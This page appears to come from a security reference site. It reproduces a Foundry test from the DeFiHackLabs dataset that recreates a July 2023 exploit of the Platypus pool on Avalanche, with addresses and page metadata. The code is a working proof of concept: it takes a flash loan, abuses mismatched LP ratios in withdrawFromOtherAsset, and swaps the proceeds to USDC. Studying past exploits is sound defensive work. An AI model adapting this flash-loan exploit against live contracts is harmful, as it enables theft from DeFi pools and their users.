Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Platypus02_exp.sol

Public reproduction file for dataset entry Platypus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Platypus02_exp.sol92 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~51K USD$
8// Attacker : https://snowtrace.io/address/0xc64afc460290ed3df848f378621b96cb7179521a
9// Attack Contract : https://snowtrace.io/address/0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8
10// Vulnerable Contract : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b
11// Attack Tx : https://snowtrace.io/tx/0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6 multiple txs
13// @Info
14// Vulnerable Contract Code : https://snowtrace.io/address/0x7e1333a39abed9a5664661957b80ba01d2702b1e#code
16// @Analysis
17// Twitter Guy : https://twitter.com/peckshield/status/1678800450303164431
18// Root Cause
19// Deposit according to the USDC-LP within the ratio to calculate the deposit USDC amount.
20// Withdrawal when the amount of USDC-LP to take with the USDT.e-LP inside the ratio to do the calculation of withdrawal amount
21// the two pools (USDC-LP, USDT.e-LP) in the ratio is close, but in fact is not the same, arbitrage or attack?
23interface IPlatypusPool {
24 function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256);
26 function withdrawFromOtherAsset(
27 address initialToken,
28 address wantedToken,
29 uint256 liquidity,
30 uint256 minimumAmount,
31 address to,
32 uint256 deadline
33 ) external returns (uint256);
35 function swap(
36 address fromToken,
37 address toToken,
38 uint256 fromAmount,
39 uint256 minimumToAmount,
40 address to,
41 uint256 deadline
42 ) external returns (uint256, uint256);
45contract ContractTest is Test {
46 IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
47 IERC20 USDTe = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
48 IERC20 LP_USDC = IERC20(0x06f01502327De1c37076Bea4689a7e44279155e9);
49 IPlatypusPool PlatypusPool = IPlatypusPool(0xbe52548488992Cc76fFA1B42f3A58F646864df45);
50 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
52 function setUp() public {
53 vm.createSelectFork("avalanche", 32_470_736);
54 vm.label(address(USDTe), "USDTe");
55 vm.label(address(USDC), "USDC");
56 vm.label(address(LP_USDC), "LP_USDC");
57 vm.label(address(aaveV3), "aaveV3");
58 vm.label(address(PlatypusPool), "PlatypusPool");
59 }
61 function testExploit() public {
62 aaveV3.flashLoanSimple(address(this), address(USDC), 85_000 * 1e6, new bytes(0), 0);
64 emit log_named_decimal_uint(
65 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
66 );
67 }
69 function executeOperation(
70 address asset,
71 uint256 amount,
72 uint256 premium,
73 address initator,
74 bytes calldata params
75 ) external payable returns (bool) {
76 USDC.approve(address(aaveV3), amount + premium);
78 USDC.approve(address(PlatypusPool), USDC.balanceOf(address(this)));
79 PlatypusPool.deposit(address(USDC), USDC.balanceOf(address(this)), address(this), block.timestamp); // deposit USDC
80 LP_USDC.approve(address(PlatypusPool), LP_USDC.balanceOf(address(this)));
81 PlatypusPool.withdrawFromOtherAsset(
82 address(USDC), address(USDTe), LP_USDC.balanceOf(address(this)), 0, address(this), block.timestamp
83 ); // withdraw USDC-LP from USDT.e-LP , calculate the amount of USDT.e to withdraw base on USDT.e-LP ratio, which different from USDC-LP's ratio
85 USDTe.approve(address(PlatypusPool), USDTe.balanceOf(address(this)));
86 PlatypusPool.swap(
87 address(USDTe), address(USDC), USDTe.balanceOf(address(this)), 0, address(this), block.timestamp
88 ); // swap USDT.e to USDC
90 return true;
91 }

Analysis

Dataset entry

Public Foundry test for “Platypus” (2023-07-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc64afc460290ed3df848f378621b96cb7179521a

  • Attack Contract

    0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8

  • Vulnerable Contract

    0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b

  • Vulnerable Contract

    0x7e1333a39abed9a5664661957b80ba01d2702b1e

  • Attack Tx

    0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6

File record

Name
Platypus
Path
src/test/2023-07/Platypus02_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ad0ad2308c5f94f60229803f2a2f9b3f7cb96068
Language
Solidity
Size
93 lines
Date
2023-07-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Platypus02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ad0ad2308c5f94f60229803f2a2f9b3f7cb96068, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.